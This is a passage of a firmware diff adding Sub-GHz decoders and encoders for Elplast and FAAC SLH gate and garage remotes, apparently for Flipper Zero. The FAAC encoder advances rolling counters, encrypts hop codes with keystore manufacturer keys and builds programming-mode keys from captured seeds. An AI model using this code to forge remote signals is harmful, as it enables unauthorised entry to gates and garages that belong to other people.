+    SubGhzProtocolDecoderElplast* instance = context;
+
+    // Elplast/P-11B/3BK/E.C.A Decoder
+    // 2025.09 - @xMasterX (MMX)
+
+    // Key samples
+    // 00110010110000001010 = 32C0A
+    // 00110010110010000010 = 32C82
+
+    switch(instance->decoder.parser_step) {
+    case ElplastDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
+                        subghz_protocol_elplast_const.te_delta * 13)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
+        }
+        break;
+    case ElplastDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = ElplastDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = ElplastDecoderStepReset;
+        }
+        break;
+    case ElplastDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 1 is long and short timing = 1550us HIGH (te_last) and 230us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
+                subghz_protocol_elplast_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_short) <
+                subghz_protocol_elplast_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
+                // Bit 0 is short and long timing = 230us HIGH (te_last) and 1550us LOW
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
+                 subghz_protocol_elplast_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long) <
+                 subghz_protocol_elplast_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
+                subghz_protocol_elplast_const.te_delta * 13) {
+                //Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
+                    subghz_protocol_elplast_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
+                    subghz_protocol_elplast_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                // If got 18 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_elplast_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = ElplastDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = ElplastDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = ElplastDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_elplast_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderElplast* instance = context;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%05lX\r\n"
+        "Yek: 0x%05lX",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFF),
+        code_found_reverse_lo);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.h
new file mode 100644
index 000000000..3f5f34002
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_ELPLAST_NAME "Elplast"
+
+typedef struct SubGhzProtocolDecoderElplast SubGhzProtocolDecoderElplast;
+typedef struct SubGhzProtocolEncoderElplast SubGhzProtocolEncoderElplast;
+
+extern const SubGhzProtocolDecoder subghz_protocol_elplast_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_elplast_encoder;
+extern const SubGhzProtocol subghz_protocol_elplast;
+
+/**
+ * Allocate SubGhzProtocolEncoderElplast.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderElplast* pointer to a SubGhzProtocolEncoderElplast instance
+ */
+void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderElplast.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ */
+void subghz_protocol_encoder_elplast_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ */
+void subghz_protocol_encoder_elplast_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderElplast instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_elplast_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderElplast.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderElplast* pointer to a SubGhzProtocolDecoderElplast instance
+ */
+void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ */
+void subghz_protocol_decoder_elplast_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ */
+void subghz_protocol_decoder_elplast_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_elplast_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderElplast.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderElplast instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c
new file mode 100644
index 000000000..fb82b1379
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c
@@ -0,0 +1,795 @@
+#include "faac_slh.h"
+#include "../subghz_keystore.h"
+#include <m-array.h>
+#include "keeloq_common.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolFaacSLH"
+
+static const SubGhzBlockConst subghz_protocol_faac_slh_const = {
+    .te_short = 255,
+    .te_long = 595,
+    .te_delta = 100,
+    .min_count_bit_for_found = 64,
+};
+
+static uint32_t temp_fix_backup = 0;
+static uint32_t temp_counter_backup = 0;
+static bool faac_prog_mode = false;
+static bool allow_zero_seed = false;
+
+void faac_slh_reset_prog_mode(void) {
+    temp_fix_backup = 0;
+    temp_counter_backup = 0;
+    faac_prog_mode = false;
+    allow_zero_seed = false;
+}
+
+struct SubGhzProtocolDecoderFaacSLH {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+};
+
+struct SubGhzProtocolEncoderFaacSLH {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+};
+
+typedef enum {
+    FaacSLHDecoderStepReset = 0,
+    FaacSLHDecoderStepFoundPreambula,
+    FaacSLHDecoderStepSaveDuration,
+    FaacSLHDecoderStepCheckDuration,
+} FaacSLHDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder = {
+    .alloc = subghz_protocol_decoder_faac_slh_alloc,
+    .free = subghz_protocol_decoder_faac_slh_free,
+
+    .feed = subghz_protocol_decoder_faac_slh_feed,
+    .reset = subghz_protocol_decoder_faac_slh_reset,
+
+    .get_hash_data = subghz_protocol_decoder_faac_slh_get_hash_data,
+    .serialize = subghz_protocol_decoder_faac_slh_serialize,
+    .deserialize = subghz_protocol_decoder_faac_slh_deserialize,
+    .get_string = subghz_protocol_decoder_faac_slh_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder = {
+    .alloc = subghz_protocol_encoder_faac_slh_alloc,
+    .free = subghz_protocol_encoder_faac_slh_free,
+
+    .deserialize = subghz_protocol_encoder_faac_slh_deserialize,
+    .stop = subghz_protocol_encoder_faac_slh_stop,
+    .yield = subghz_protocol_encoder_faac_slh_yield,
+};
+
+const SubGhzProtocol subghz_protocol_faac_slh = {
+    .name = SUBGHZ_PROTOCOL_FAAC_SLH_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_faac_slh_decoder,
+    .encoder = &subghz_protocol_faac_slh_encoder,
+};
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ * @param manufacture_name
+ */
+static void subghz_protocol_faac_slh_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name);
+
+void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH));
+
+    instance->base.protocol = &subghz_protocol_faac_slh;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_faac_slh_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) {
+    // override button if we change it with signal settings button editor
+    // else work as standart
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn)) {
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+    } else {
+        // TODO: Stupid bypass for custom button, remake later
+        if(subghz_custom_btn_get_original() == 0) {
+            subghz_custom_btn_set_original(0xF);
+        }
+
+        uint8_t custom_btn_id = subghz_custom_btn_get();
+
+        // If we are using UP button - generate programming mode key and send it, otherwise - send regular key if possible
+        if((custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) &&
+           !(!allow_zero_seed && (instance->generic.seed == 0x0))) {
+            uint8_t data_tmp = 0;
+            uint8_t data_prg[8];
+
+            data_prg[0] = 0x00;
+
+            if(allow_zero_seed || (instance->generic.seed != 0x0)) {
+                // check OFEX mode
+                if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+                    // standart counter mode. PULL data from subghz_block_generic_global variables
+                    if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                        // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                        if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
+                           0xFFFFF) {
+                            instance->generic.cnt = 0;
+                        } else {
+                            instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                        }
+                    }
+                } else {
+                    // TODO: OFEX mode
+                    instance->generic.cnt += 1;
+                }
+
+                if(temp_counter_backup != 0x0) {
+                    // check OFEX mode
+                    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+                        // standart counter mode. PULL data from subghz_block_generic_global variables
+                        if(!subghz_block_generic_global_counter_override_get(
+                               &temp_counter_backup)) {
+                            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                            if((temp_counter_backup + furi_hal_subghz_get_rolling_counter_mult()) >
+                               0xFFFFF) {
+                                temp_counter_backup = 0;
+                            } else {
+                                temp_counter_backup += furi_hal_subghz_get_rolling_counter_mult();
+                            }
+                        }
+                    } else {
+                        // todo OFEX mode
+                        temp_counter_backup += 1;
+                    }
+                }
+            }
+
+            data_prg[1] = instance->generic.cnt & 0xFF;
+
+            data_prg[2] = (uint8_t)(instance->generic.seed & 0xFF);
+            data_prg[3] = (uint8_t)(instance->generic.seed >> 8 & 0xFF);
+            data_prg[4] = (uint8_t)(instance->generic.seed >> 16 & 0xFF);
+            data_prg[5] = (uint8_t)(instance->generic.seed >> 24);
+
+            data_prg[2] ^= data_prg[1];
+            data_prg[3] ^= data_prg[1];
+            data_prg[4] ^= data_prg[1];
+            data_prg[5] ^= data_prg[1];
+
+            for(uint8_t i = data_prg[1] & 0x0F; i != 0; i--) {
+                data_tmp = data_prg[5];
+
+                data_prg[5] = ((data_prg[5] << 1) & 0xFF) | (data_prg[4] & 0x80) >> 7;
+                data_prg[4] = ((data_prg[4] << 1) & 0xFF) | (data_prg[3] & 0x80) >> 7;
+                data_prg[3] = ((data_prg[3] << 1) & 0xFF) | (data_prg[2] & 0x80) >> 7;
+                data_prg[2] = ((data_prg[2] << 1) & 0xFF) | (data_tmp & 0x80) >> 7;
+            }
+            data_prg[6] = 0x0F;
+            data_prg[7] = 0x52;
+
+            uint32_t enc_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
+                                 data_prg[4];
+            uint32_t enc_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
+                                 data_prg[0];
+            instance->generic.data = (uint64_t)enc_prg_1 << 32 | enc_prg_2;
+            //FURI_LOG_D(TAG, "New Prog Mode Key Generated: %016llX\r", instance->generic.data);
+
+            return true;
+        } else {
+            if(!allow_zero_seed && (instance->generic.seed == 0x0)) {
+                // Do not generate new data, send data from buffer
+                return true;
+            }
+            // If we are in prog mode and regular Send button is used - Do not generate new data, send data from buffer
+            if((faac_prog_mode == true) && (instance->generic.serial == 0x0) &&
+               (instance->generic.btn == 0x0) && (temp_fix_backup == 0x0)) {
+                return true;
+            }
+        }
+        // Restore main remote data when we exit programming mode
+        if((instance->generic.serial == 0x0) && (instance->generic.btn == 0x0) &&
+           (temp_fix_backup != 0x0) && !faac_prog_mode) {
+            instance->generic.serial = temp_fix_backup >> 4;
+            instance->generic.btn = temp_fix_backup & 0xF;
+            if(temp_counter_backup != 0x0) {
+                instance->generic.cnt = temp_counter_backup;
+            }
+        }
+    }
+    uint32_t fix = instance->generic.serial << 4 | instance->generic.btn;
+    uint32_t hop = 0;
+    uint32_t decrypt = 0;
+    uint64_t man = 0;
+    int res = 0;
+    char fixx[8] = {};
+    int shiftby = 32;
+    for(int i = 0; i < 8; i++) {
+        fixx[i] = (fix >> (shiftby -= 4)) & 0xF;
+    }
+
+    if(allow_zero_seed || (instance->generic.seed != 0x0)) {
+        // check OFEX mode
+        if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
+                   0xFFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            // OFEX mode
+            if(instance->generic.cnt < 0xFFFFF) {
+                if((instance->generic.cnt + 0xFFFFF) > 0xFFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += 0xFFFFF;
+                }
+            } else if(
+                (instance->generic.cnt >= 0xFFFFF) &&
+                (furi_hal_subghz_get_rolling_counter_mult() != 0)) {
+                instance->generic.cnt = 0;
+            }
+        }
+    }
+
+    if((instance->generic.cnt % 2) == 0) {
+        decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 |
+                  (instance->generic.cnt & 0xFFFFF);
+    } else {
+        decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 |
+                  (instance->generic.cnt & 0xFFFFF);
+    }
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
+            res = strcmp(furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
+            if(res == 0) {
+                switch(manufacture_code->type) {
+                case KEELOQ_LEARNING_FAAC:
+                    //FAAC Learning
+                    man = subghz_protocol_keeloq_common_faac_learning(
+                        instance->generic.seed, manufacture_code->key);
+                    hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                    break;
+                }
+                break;
+            }
+        }
+    if(hop) {
+        instance->generic.data = (uint64_t)fix << 32 | hop;
+    }
+    return true;
+}
+
+bool subghz_protocol_faac_slh_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    uint32_t seed,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    // OwO
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.btn = btn;
+    instance->generic.cnt = (cnt & 0xFFFFF);
+    instance->generic.seed = seed;
+    instance->manufacture_name = manufacture_name;
+    instance->generic.data_count_bit = 64;
+    allow_zero_seed = true;
+    bool res = subghz_protocol_faac_slh_gen_data(instance);
+    if(res) {
+        return SubGhzProtocolStatusOk ==
+               subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    }
+    return res;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderFaacSLH instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) {
+    furi_assert(instance);
+
+    subghz_protocol_faac_slh_gen_data(instance);
+    size_t index = 0;
+    size_t size_upload = 2 + (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        uint8_t seed_data[sizeof(uint32_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint32_t); i++) {
+            seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
+            FURI_LOG_E(TAG, "Missing Seed");
+            break;
+        }
+        bool tmp_allow_zero_seed;
+        if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
+            allow_zero_seed = true;
+        } else {
+            allow_zero_seed = false;
+        }
+
+        instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
+                                 seed_data[3];
+
+        subghz_protocol_faac_slh_check_remote_controller(
+            &instance->generic, instance->keystore, &instance->manufacture_name);
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_encoder_faac_slh_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_faac_slh_stop(void* context) {
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context) {
+    SubGhzProtocolEncoderFaacSLH* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolDecoderFaacSLH));
+    instance->base.protocol = &subghz_protocol_faac_slh;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+    return instance;
+}
+
+void subghz_protocol_decoder_faac_slh_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_faac_slh_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+    instance->decoder.parser_step = FaacSLHDecoderStepReset;
+}
+
+void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFaacSLH* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case FaacSLHDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
+                       subghz_protocol_faac_slh_const.te_delta * 3)) {
+            instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
+        }
+        break;
+    case FaacSLHDecoderStepFoundPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
+                        subghz_protocol_faac_slh_const.te_delta * 3)) {
+            //Found Preambula
+            instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = FaacSLHDecoderStepReset;
+        }
+        break;
+    case FaacSLHDecoderStepSaveDuration:
+        if(level) {
+            if(duration >= ((uint32_t)subghz_protocol_faac_slh_const.te_short * 3 +
+                            subghz_protocol_faac_slh_const.te_delta)) {
+                instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_faac_slh_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = FaacSLHDecoderStepCheckDuration;
+            }
+
+        } else {
+            instance->decoder.parser_step = FaacSLHDecoderStepReset;
+        }
+        break;
+    case FaacSLHDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_short) <
+                subghz_protocol_faac_slh_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long) <
+                subghz_protocol_faac_slh_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_long) <
+                 subghz_protocol_faac_slh_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_short) <
+                 subghz_protocol_faac_slh_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = FaacSLHDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = FaacSLHDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ * @param manifacture_name Manufacturer name
+ */
+static void subghz_protocol_faac_slh_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name) {
+    uint32_t code_fix = instance->data >> 32;
+    uint32_t code_hop = instance->data & 0xFFFFFFFF;
+    uint32_t decrypt = 0;
+    uint64_t man;
+
+    // TODO: Stupid bypass for custom button, remake later
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(0xF);
+    }
+
+    subghz_custom_btn_set_max(1);
+
+    uint8_t data_tmp = 0;
+    uint8_t data_prg[8];
+    data_prg[0] = (code_hop & 0xFF);
+    data_prg[1] = ((code_hop >> 8) & 0xFF);
+    data_prg[2] = ((code_hop >> 16) & 0xFF);
+    data_prg[3] = (code_hop >> 24);
+    data_prg[4] = (code_fix & 0xFF);
+    data_prg[5] = ((code_fix >> 8) & 0xFF);
+    data_prg[6] = ((code_fix >> 16) & 0xFF);
+    data_prg[7] = (code_fix >> 24);
+
